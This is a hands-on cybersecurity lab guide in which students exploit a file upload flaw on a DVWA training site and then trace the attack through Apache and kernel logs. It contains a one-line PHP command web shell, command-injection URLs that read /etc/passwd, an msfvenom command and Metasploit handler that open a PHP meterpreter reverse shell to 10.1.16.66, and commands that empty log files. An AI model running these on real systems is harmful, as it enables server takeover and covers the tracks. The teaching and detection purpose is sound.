Lab - Detecting and Exploiting Security Misconfiguration

Scenario

In this lab, you will exploit security misconfigurations on a website by performing a file upload exploitation and injecting a web shell, and then you will investigate the results.

As a cybersecurity analyst, you are working to discover weaknesses and vulnerabilities that your organization, Structureality Inc., needs to mitigate throughout its internal network. In this lab, you will discover a website’s file upload vulnerability and then exploit it to gain command injection capabilities. Then, you will create, upload, and use PHP web shell malware to the file upload vulnerable website. Finally, you will investigate the website’s logs for evidence and IoCs (Indications of Compromise) related to file upload and web shell exploitation activities.

Understand your environment

You will be working from a virtual machine named KALI, hosting Kali Linux, and a virtual machine named LAMP, hosting Ubuntu Server. You will initially use KALI to perform the attack targeting the DVWA website hosted on the LAMP VM, and then you will work from LAMP to perform the investigation.

Exploiting file upload vulnerabilities

File upload is the ability to allow visitors to a website to post files to the web server. This is a dangerous capability because it is often misconfigured. A common issue is that visitors can reference their uploaded files from modified URLs. This can be used to post false pages to a web server to fool victims or run code uploaded to the website.

In this exercise, you will act link an attacker to discover the file upload vulnerability, then exploit it.

Connect to the KALI and sign in as root using Pa$$w0rd as the password.
Log into the dvwa.structureality.com through Firefox using admin/password, then access the File Upload page.

Expand this hint for guidance.
1. Open Firefox by selecting its icon from the Kali Linux toolbar.
2. Maximize the Firefox window.
3. In the address field of Firefox, enter dvwa.structureality.com.
4. The initial page of DVWA is displayed along with the application’s login fields. Type admin and password into the Username and Password fields, respectively, then select Login.
  
  When working with DVWA, you must first log in to the application itself to access the attack target elements.
5. The Welcome to Dann Vulnerable Web Application! page should be displayed.
  
  If you scroll to the bottom of any DVWA page, you will see a footer that indicates several values, including the security level. To change the security level, select DVWA Security from the left-side navigation menu bar, make a selection from the pull-down list, then select Submit. This lab assumes the default security level of Low.
6. In the left-side navigation menu bar, select File Upload.
The Vulnerability: File Upload page should be displayed.
Copy the /usr/share/xsser/gtk/images/world.png file to the /root directory.

Expand this hint for guidance.
1. Open a Terminal window.
2. Enter pwd to confirm you are in the /root directory.
3. Enter cp /usr/share/xsser/gtk/images/world.png world.png
This command copies an image file into the Kali root user’s home folder for easier use (i.e., less directory path typing).
Upload world.png to the DVWA website.

Expand this hint for guidance.
1. Switch back to Firefox.
2. Select Browse….
3. Select Home, then double-click world.png.
4. Select Upload.
5. You should see the result of ../../hackable/uploads/world.png successfully uploaded!.
Craft a URL to retrieve the world.png file that was just uploaded.

Expand this hint for guidance.
1. Modify the URL in the Firefox address bar using this uploaded file path so that the URL is as below, then press ENTER:
  
  Type
  
  http://dvwa.structureality.com/vulnerabilities/upload/../../hackable/uploads/world.png
  
  You can copy the new URL stub from the result and paste it into the address bar to append the existing URL. Before pasting, delete the final octothorp (i.e., #).
  
  Also, notice that you don’t need vulnerabilities/upload/../.. in the URL, as this is just causing the resolution process to enter into two sub-folders, only to revert out to the original parent (i.e., the web root). You could shorten this URL to just http://dvwa.structureality.com/hackable/uploads/world.png. Notice that this is what you see now in the Firefox address bar while viewing the world map image.
You should see a grey map of the world.

Select the Score button to validate this task.

This confirms that you can upload files to this website and then call them with a customized URL. You have discovered and confirmed that a website has a file upload vulnerability. Now, exploit that vulnerability.
Create special.php containing the following code in the /root directory.

Type

<?php system($_REQUEST["cmd"]); ?>

Expand this hint for guidance.
1. Switch to the Terminal window.
2. Enter vim special.php
  - This command will open VIM and create a new file named special.php stored in /root.
3. Type i to enter insert mode. The message — INSERT — should be present at the bottom of the screen.
4. Type the following:
  
  <?php system($_REQUEST["cmd"]); ?>
  
  This simple PHP script will execute commands presented to it via a URL. It is effectively a malicious remote control script.
5. Once finished, press ESC to exit insert mode.
  
  Pressing ESC may cause your browser to exit full-screen mode. If that occurs, press ESC a second time to exit VIM’s insert mode. Then, you can re-enable full-screen mode from the Display lab interface menu.
6. Enter :wq to save and quit VIM.
Upload special.php to the DVWA website.

Expand this hint for guidance.
1. Switch back to Firefox.
2. Select the Go back one page left-arrow button on the Firefox toolbar.
3. The Vulnerability: File Upload page should be displayed.
4. Select Browse….
5. Double-click special.php.
  
  If you are not shown the last used folder (i.e., /root), select Home.
6. Select Upload.
7. You should see the result of ../../hackable/uploads/special.php successfully uploaded!.
You have now uploaded a simple PHP command shell to the target website.

A shell is a remotely accessible capability to run commands and/or code on a victim system. The term shell usually implies a command line interface (CLI), such as remotely controlling a Windows Command Prompt or a Linux Bash shell. However, there are graphical user interface (GUI) shells, such as VNC.

Select the Score button to validate this task.
Craft a URL to retrieve the special.php file that was just uploaded.

Expand this hint for guidance.
1. Modify the URL in the Firefox address bar using this uploaded file path so that the URL is as shown below, then press ENTER:
  
  Type
  
  http://dvwa.structureality.com/hackable/uploads/special.php
  
  You can copy the new URL stub from the result and paste it into the address bar to append the existing URL. Before pasting, delete the final octothorp (i.e., #).
2. You should see an empty page as a result.
This empty page result is due to no commands being sent to the special.php command shell as parameters.
Append ?cmd=ls to the URL retrieving special.php.

Expand this hint for guidance.
1. Modify the URL of http://dvwa.structureality.com/hackable/uploads/special.php to add ?cmd=ls to the end so that it reads as the following, then press ENTER.
  
  Type
  
  http://dvwa.structureality.com/hackable/uploads/special.php?cmd=ls
2. You should see the filenames of dvwa_email.png, special.php, and world.png.
  
  Other files may be present in addition to these three.
Change the injected command in the URL to pwd.

Expand this hint for guidance.
1. To determine the directory name containing these files, change the end of the URL to ?cmd=pwd, then press ENTER.
2. You should see the directory name of /var/www/dvwa.structureality.com/html/hackable/uploads.
Craft and try command injection URLs for each of the following:
- directory listing of the parent folder
- directory listing of the 2nd parent folder
- directory long listing of the 2nd parent folder
- user context for command shell
- system name of website
- IP addresses of website’s interfaces
- contents of the passwd file
Expand this hint for guidance.
1. Try each of the following lines as edits of the URL:
  
  Type
  
  ?cmd=ls+../ ?cmd=ls+../../ ?cmd=ls+-l+../../ ?cmd=whoami ?cmd=hostname ?cmd=ip+a ?cmd=cat+/etc/passwd
  
  You can construct other command statements. Just use a plus sign (i.e., + ) to represent a space.
From here, you can explore on your own. What else can you discover about the target? What can you do on the target?

This exercise is an example of a command injection. You used a file upload vulnerability to upload a PHP command shell, then injected commands to that shell to run against the underlying OS. Command injection was also covered in Lab 30: Perform/Detect directory traversal and command injection. This type of shell is often called a bind shell. This name is derived from the concept of binding a command receiving service to a listening port on a victim.
Leave all windows open.

The ability to upload a file to a website and then call upon that uploaded file is a severe vulnerability. You will exploit this weakness further in a later exercise in this lab, where you will establish a web shell.

Investigate file upload exploitation

While reviewing the website configuration documentation, you realize that the ability to upload files is still enabled. You are concerned that the ability to upload files can lead to more extensive system abuse. As the cybersecurity analyst, you intend to investigate and determine if there is evidence of compromise related to file upload.

In this exercise, you will investigate the log of the company’s website to see if you can find evidence or IoCs of abuse of a file upload vulnerability.

Connect to the LAMP virtual machine and sign in as lamp using Pa$$w0rd as the password.
View the contents of the Apache2 access.log using the less viewer.

Expand this hint for guidance.
1. Elevate to use root privileges by entering: sudo su and then entering Pa$$w0rd as the password.
2. Enter cd /var/log/apache2 to change into the apache2 log directory.
3. Enter ls -l to view the log filenames, sizes, and timestamps.
4. Enter less access.log to view the website’s access.log. Look over the log for anything interesting.
  
  When using the less file viewing utility, press the spacebar to view the next page. You can return to a previous page using b or scroll one line up or down utilizing the arrow keys.
You need to ‘ignore’ the directory path element of “/vulnerabilities/upload/” as this is the obvious name of the HTML document on the DVWA (Damn Vulnerable Web Application) that is designed to demonstrate file upload vulnerabilities. In a real-world situation, you may or may not see the term “upload” in the logs.
The Apache web server access log has two default log formats. The Common Log Format includes the following seven default fields:
1. IP address of the client
2. The identity of the client, but typically presented as only a hyphen (i.e., - )
3. User ID of requesting user, but will be a hyphen when there is no established user context
4. Date and time of the request (in square brackets)
5. The HTTP request type (i.e., GET, POST, etc.) and the resource being requested
6. The HTTP response status code
7. The size of the object returned to the client
The Combined Log Format includes the following two additional fields:
1. The HTTP referrer (i.e., the address from which the request for the resource originated.)
2. The User Agent of the client, which identifies information about the browser that the client is using to access the resource.
It is also possible to customize the fields of the Apache logs.

In this exercise, Apache is configured to use the Combined Log Format. Note: The User ID is a hyphen in the access.log for this exercise because when using the DVWA as the target, while you must log in as admin to access the vulnerable applications of the demo service, you are not using a user account or active login on most of the demonstration sub-pages.
Locate the log entry of the initial visit to the file upload page of the web site.

Expand this hint for guidance.
1. Starting from the top of the access.log file (i.e., the oldest entry in the log), look down through the entries to find the one with the following as its HTTP request:
  
  Type
  
  "GET /vulnerabilities/upload HTTP/1.1"
  
  This is the initial visit to the file upload page on the targeted website. On its own, this is a record that could be benign or an element of reconnaissance. This could be where the attacker recognizes the potential vulnerability of the website related to file upload. The vulnerability would be that files that are uploaded can then be immediately downloaded or accessed (i.e., executed). This would allow for RCE and/or command injection.
Locate the log entries of the world.png file being uploaded and then retrieved.

Expand this hint for guidance.
1. Following that log record, you should see a record with the HTTP request of:
  
  Type
  
  "POST /vulnerabilities/upload HTTP/1.1"
  
  This is the record of a file being uploaded. Unfortunately, this log file does not contain any details about the uploaded file.
2. Looking further into the log, locate a record with the HTTP request of:
  
  Type
  
  "GET /vulnerabilities/uploads/world.png HTTP/1.1"
  
  This is a record of a file being retrieved from the uploads directory. You would likely be aware that the uploads directory is where files uploaded would be deposited. If this is not a known file in the directory, then this could be the file that was uploaded in relation to the prior POST record. This and the previous POST log records may be evidence of a test performed by an attacker to confirm that the vulnerability they suspect the website of having is actually exploitable.
Locate the log entries of the special.php file being uploaded, then retrieved, and then used for command injection.

Expand this hint for guidance.
1. Following that log record, you should see another record with the HTTP request of:
  
  Type
  
  "POST /vulnerabilities/upload HTTP/1.1"
  
  Again, this type of POST record indicates that a file was uploaded but without any other details.
2. Looking further into the log, locate a record with the HTTP request of:
  
  Type
  
  "GET /vulnerabilities/uploads/special.php HTTP/1.1"
  
  This is the record of accessing the file that was just uploaded. However, this is not clear evidence of command injection, as it has not been sent any commands as parameters.
3. Looking further into the log, locate a record with the HTTP request of:
  
  Type
  
  "GET /vulnerabilities/uploads/special.php?cmd=ls HTTP/1.1"
  
  This is the first actual evidence of file upload exploitation. Now you are aware that an attacker uploaded a file named special.php. And you can tell that this PHP file is able to receive parameter inputs similar to a command prompt. Therefore, you now have recognized the IoC of an exploitation of file upload leading to command injection.
Look over the remaining log records to see the progression of activities by the attacker.

Which of the command injections to special.php is of most concern from the access.log file?
- ?cmd=ls+-l+../../
- ?cmd=hostname
- ?cmd=ip+a
- ?cmd=cat+/etc/passwd
When finished looking over the access.log, type q to exit the less viewer.

You have discovered evidence of someone abusing the file upload feature of a website and confirmed they uploaded a file named special.php, which was then used to perform command injection.

Enable network traffic logging

To gather evidence related to non-web traffic, you need to initiate general traffic logging on the web server host system (i.e., LAMP).

Under normal circumstances, network logging should always be collecting data. In this lab scenario, you are temporarily enabling network logging to minimize the data captured so that the investigation process is not quite so cumbersome.

Connect to the LAMP virtual machine and sign in as lamp using Pa$$w0rd as the password.
Clear the log files of kern.log and access.log, enable network logging for both ingress and egress traffic, then fully exit out of LAMP.

Expand this hint for guidance.
1. Elevate to use root privileges by entering: sudo su and then entering Pa$$w0rd as the password.
2. Enter each of the following commands:
  
  Type
  
  echo 0 > /var/log/kern.log
  iptables -I INPUT 1 -j LOG
  iptables -I OUTPUT 1 -j LOG
  echo 0 > /var/log/apache2/access.log
  
  These commands will:
  1. clear the contents of kern.log,
  2. set a filter rule to record events related to inbound communications,
  3. set a filter rule to record events related to outbound events, and
  4. empty the website’s access.log file.
  By clearing out the contents of the log files, you are also ensuring that the effort to locate evidence in the investigation exercise will be easier. But again, this is not a typical real-world investigative activity.
3. Enter exit, then enter exit again to fully log out of LAMP.

Establishing a web shell

In the previous exercise, you discovered that the website of Structureality has a file upload vulnerability. In this exercise, you will exploit this same vulnerability to establish a web shell. A web shell is a means to enable a reverse shell through running code on a victim web server.

Connect to the KALI and, if needed, sign in as root using Pa$$w0rd as the password.
Use msfvenom to create shell.php using the PHP meterpreter reverse TCP shell which will initiate a reverse shell to the Kali system on port 9999.

Expand this hint for guidance.
1. Return to the Terminal window.
2. Enter the following:
  
  Type
  
  msfvenom -p php/meterpreter_reverse_tcp LHOST=10.1.16.66 LPORT=9999 -f raw > shell.php
  
  This command will create a web shell exploit payload. It uses a variant of the generic reverse TCP shell payload programmed in PHP to run on a web server that supports PHP.
3. It may take up to 30 seconds before the command completes. However, when it does, it will display the following:
  
  Type
  
  [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload [-] No arch selected, selecting arch: php from the payload No encoder specified, outputting raw payload Payload size: 34849 bytes
4. Enter ls -l to confirm the existence of shell.php.
Select the Score button to validate this task.
Use Metasploit to create a listener to receive the reverse shell.

Expand this hint for guidance.
1. Enter msfconsole to launch Metasploit.
2. Enter use exploit/multi/handler
3. Enter set payload php/meterpreter_reverse_tcp
4. Enter set LHOST 10.1.16.66
5. Enter set LPORT 9999
6. Enter show options to confirm the settings are correct.
7. Enter run
  
  The listener is now waiting for the web shell to connect from the victim/target website.
Go back to the DVWA website, then access the File Upload page, and then upload shell.php

Expand this hint for guidance.
1. Switch to Firefox.
2. In the Firefox address bar, enter dvwa.structureality.com. If you are not signed in already, use admin as the username and password as the password.
3. Select File Upload.
4. Select Browse….
5. On the File Upload window, select shell.php from the right pane, then select Open.
6. You are returned to Firefox, showing the Vulnerability: File Upload page.
7. Select Upload.
8. You should see the message ../../hackable/uploads/shell.php successfully uploaded!.
  
  Using this path and file information, you can create a URL to call upon your uploaded file to execute it.
Trigger the reverse web shell and confirm the connection was established.

Expand this hint for guidance.
1. In the Firefox address bar, enter dvwa.structureality.com/hackable/uploads/shell.php
  
  Eventually, Firefox will display a nearly blank page with just the characters of ”/*” displayed. However, you do not need to wait for the blank screen result.
2. Return to the terminal window.
3. You should now see the statement “Meterpreter session 1 opened” and a prompt of “meterpreter >”.
  
  This result indicates that a reverse web shell connection was established.
Select the Score button to validate this task.

A reverse shell establishes a listening service on an attacker-controlled system. Then, tricking the victim system into connecting outbound to the listening service. A reverse shell is often used when a firewall prevents inbound initiations to a bind shell. This ability to establish a connection to a reverse shell across a firewall from an internal system to an external system is due to the lax configuration of the egress (i.e., outbound) filtering rules. A web shell is simply any shell that is established or initiated through a web server.
Use the following commands, experiment with various commands in the web shell, then exit the connection.
- sysinfo
- getuid
- help
Expand this hint for guidance.
1. Enter sysinfo to view details about the victim system
2. Enter getuid to reveal the user account privileges context.
3. Enter help to view a list of other commands supported by the PHP meterpreter shell.
  
  The PHP meterpreter shell is not as capable as the full shellcode variant used directly against an OS. Therefore, not all expected commands and capabilities are present.
4. You can experiment with some of the available commands.
5. Enter exit to terminate the reverse web shell connection.
  - Answer: ||www-data||
What is the account privileges context for the established web shell?

This exercise was an example of remote code execution. With an RCE, actual programming code is executed, whereas, with a command injection, it’s an (OS) command being executed. You created the programming code using the msfvenom tool to create shell.php

Investigate a web shell injection

Previously, you confirmed that the website is vulnerable to file upload exploits and detected the abuse of that weakness to run commands through a PHP command shell. You continue your investigation to see if further exploitation took place. You are concerned that an attacker may have abused the file upload vulnerability to initiate an RCE to establish a reverse web shell. In this exercise, you will investigate the log of the company’s website to see if you can find evidence or IoCs of a web shell.

Connect to the LAMP virtual machine and sign in as lamp using Pa$$w0rd as the password.
Disable network logging for both ingress and egress traffic.

Expand this hint for guidance.
1. Elevate to use root privileges by entering: sudo su and then entering Pa$$w0rd as the password.
2. Enter the following commands:
  
  Type
  
  iptables -D INPUT -j LOG iptables -D OUTPUT -j LOG
  
  These commands disable the network traffic logging that was turned on in a previous exercise. This is to stop additional entries being made into the kern.log file that would make this investigation exercise more complex.
In a real-world investigation, you would make copies of log files to work from. It is unlikely that you would disable logging while performing an investigation. It is possible that the same attacker might return to continue exploits or a new attack may start while you undertake the investigation. Therefore, logging should be running at all times on a real production system.
View the contents of the Apache2 access.log using the less viewer.

Expand this hint for guidance.
1. Enter cd /var/log/apache2 to change into the apache2 log directory.
2. Enter ls -l to view the log filenames, sizes, and timestamps.
3. Enter less access.log to view the website’s access.log. Look over the log for anything interesting.
  
  When using the less file viewing utility, press the spacebar to view the next page. You can return to a previous page using b or scroll one line up or down utilizing the arrow keys.
  
  You need to ‘ignore’ the directory path element of “/vulnerabilities/sqli/” as this is the obvious name of the HTML document on the DVWA (Damn Vulnerable Web Application) that is designed to demonstrate SQLi. In a real-world situation, you will not see the term “SQLi” in the logs. SQLi attacks are usually more subtle than that.
  The Apache web server access log has two default log formats. The Common Log Format includes the following seven default fields:
  1. IP address of the client
  2. The identity of the client, but typically presented as only a hyphen (i.e., - )
  3. User ID of requesting user, but will be a hyphen when there is no established user context
  4. Date and time of the request (in square brackets)
  5. The HTTP request type (i.e., GET, POST, etc.) and the resource being requested
  6. The HTTP response status code
  7. The size of the object returned to the client
  The Combined Log Format includes the following two additional fields:
  1. The HTTP referrer (i.e., the address from which the request for the resource originated.)
  2. The User Agent of the client, which identifies information about the browser that the client is using to access the resource.
  It is also possible to customize the fields of the Apache logs.
  
  In this exercise, Apache is configured to use the Combined Log Format. Note: The User ID is a hyphen in the access.log for this exercise because when using the DVWA as the target, while you must log in as admin to access the vulnerable applications of the demo service, you are not using a user account or active login on most of the demonstration sub-pages.
Locate the log entry of the initial visit to the file upload page of the web site.

Expand this hint for guidance.
1. Starting from the top of the access.log file (i.e., the oldest entry in the log), look down through the entries to find the one with the following as its HTTP request:
  
  Type
  
  "GET /vulnerabilities/upload HTTP/1.1"
  
  This is the initial visit to the file upload page on the targeted website. On its own, this is a record that could be benign or an element of reconnaissance. This could be where the attacker recognizes the potential vulnerability of the website related to file upload. The vulnerability would be that files that are uploaded can then be immediately downloaded or accessed (i.e., executed). This would allow for RCE and/or command injection.
Locate the log entries of the shell.php file being uploaded and retrieved, then determine the IP address of the attacker.

Expand this hint for guidance.
1. Following that log record, you should see a record with the HTTP request of:
  
  Type
  
  "POST /vulnerabilities/upload HTTP/1.1"
  
  This is the record of a file being uploaded. Unfortunately, this log file does not contain any details about the uploaded file.
2. Looking further into the log, locate a record with the HTTP request of:
  
  Type
  
  "GET /vulnerabilities/uploads/shell.php HTTP/1.1"
  
  This is a record of a file being accessed from the uploads directory. If this is not a known file in the directory, then this could be the file that was uploaded in relation to the prior POST record. This and the previous POST log records are evidence that someone uploaded a file named shell.php and then called upon it with a custom URL. This is of significant concern because there are no additional entries in the access.log file from this point.
3. Look at the beginning of the log entry to see the IP address of the client field to determine the origin of the attacker.
What is the IP address of the origin of the attacker that is attempting to access …/hackable/uploads/shell.php?
- Answer: ||10.1.16.66||
Take note of the time of the log record of the GET request for shell.php. Enter in the time in the text box below. Use the format of HH:MM:SS.

Log time of shell.php GET: 19:38:36

Press Enter on your keyboard after you type in the value or click out of the text box.
When finished looking over the access.log, type q to exit the less viewer.
View the contents of the system’s network traffic log file kern.log using the less viewer.

Expand this hint for guidance.
1. Enter cd .. to move up to the parent directory of /var/log.
2. Enter less kern.log.
  
  You are now viewing the kern.log file, which collects information regarding network traffic. Since you ‘temporarily’ enabled ingress and egress logging, you are hoping that evidence of what the shell.php file will be present in this log file.
3. The kern.log file may contain a significant number of entries, including many that do not relate to the web communication you are investigating. Type q to exit the less viewer.
Change to viewing the contents of kern.log through less but only entries related to the remote attacker address. Locate a record with the same (or nearly so) time value of <shell_php_time>. Then see if there is any suspicious traffic from that time stamp onward.

Expand this hint for guidance.
1. Enter grep DST=10.1.16.66 kern.log | less to search for the occurrence of this client IP address as a destination address in the log file.
  
  Locate the first occurrence of DST=10.1.16.66, at or just after the time of the last entry from the access.log file which was <shell_php_time>.
2. Look over the grep results and see if you can notice any concerning patterns.
3. Type q to exit the less viewer.
You are making a modest assumption that the shell.php file is being used to establish a reverse web shell from the web server (at 172.16.0.201) to the attacker’s system (at 10.1.16.66). In this exercise, the name of the file is a bit of a giveaway, but even if the file was named flower.php, this inference is not a significant leap of logic. It is very common for a file upload vulnerability to be exploited to allow for command injection or RCE. A command injection exploit would usually result in web-logged GET parameters showing the commands being injected (as you discovered in the prior investigation within this lab). An RCE exploit would likely not show any subsequent communications once the web shell connection was established. This is because the uploaded file will initiate a reverse connection to the attacker outside of the web service. Therefore, there is nothing for the web service to log. Any evidence from the moment of exploitation would need to be captured by a general network traffic log.

The suspicious network traffic pattern in the grep results of the search against kern.log is what?
- Common use of port 80
- The use of the UDP protocol
- DPT=9999
- Window size around 500
Use less to view the network traffic log and return to the entries starting from the time stamp of <shell_php_time>. Locate the logged events of the attacker’s uploading of a file, the triggering of the reverse web shell, and the establishment of the web shell session.

Expand this hint for guidance.
1. Enter less kern.log.
2. Scroll through the kern.log to reach the log entry related to the time stamp of <shell_php_time>.
3. From this point, you should see a communication from SRC=172.16.0.201 with SPT=80 to DST=10.1.16.66 with a random destination port (i.e., the random port selected by the attacker’s browser for the original connection to ../hackable/upload).
  
  This log record relates to the presentation of the successful upload of the shell.php file.
4. From this record, you should then see an entry with SRC=10.1.16.66 to DST=172.16.0.201 and DPT=80.
  
  This may be the record where the attacker requested access to shell.php from the uploads folder. This would execute this PHP code.
5. The next record should be a response from SRC=172.16.0.201 with SPT=80 to DST=10.1.16.66 with a random destination port.
  
  This would be the attempt of the webserver to send a response back to the client after the GET request to …/uploads/shell.php.
6. The next record should be from SRC=172.16.0.201 with a random source port to DST=10.1.16.66 with a potentially unfamiliar port number of 9999.
Port 9999 was arbitrarily selected for ease of recognition in this exercise. In a real-world scenario, the port number would likely be something more random or possibly familiar. In some instances, using a well-recognized port number, such as 465 (SMTPS) or 3389 (RDP), may be used as an attempt to hide in plain sight.
From this point on, you should see back-and-forth communications between the web server and the remote attacker (i.e., 172.16.0.201 and 10.1.16.66, respectively) related to port 9999.

This is a record of communications occurring. However, the actual contents of the communications are not recorded in the kern.log. If you had been performing network sniffing during the event, then you might be able to view the details of what was communicated during the session.
When finished looking over the kern.log, type q to exit the less viewer.

You have discovered that a reverse connection, likely a web shell (since it was initiated through a web service), was established by a remote attacker. You know the IP address the attacker was using and the port number. You can be on the lookout for these identification details in future communications. However, the best option would be to disable the file upload feature on the website to prevent this same type of exploit from occurring again.

adam's notes

Table of Contents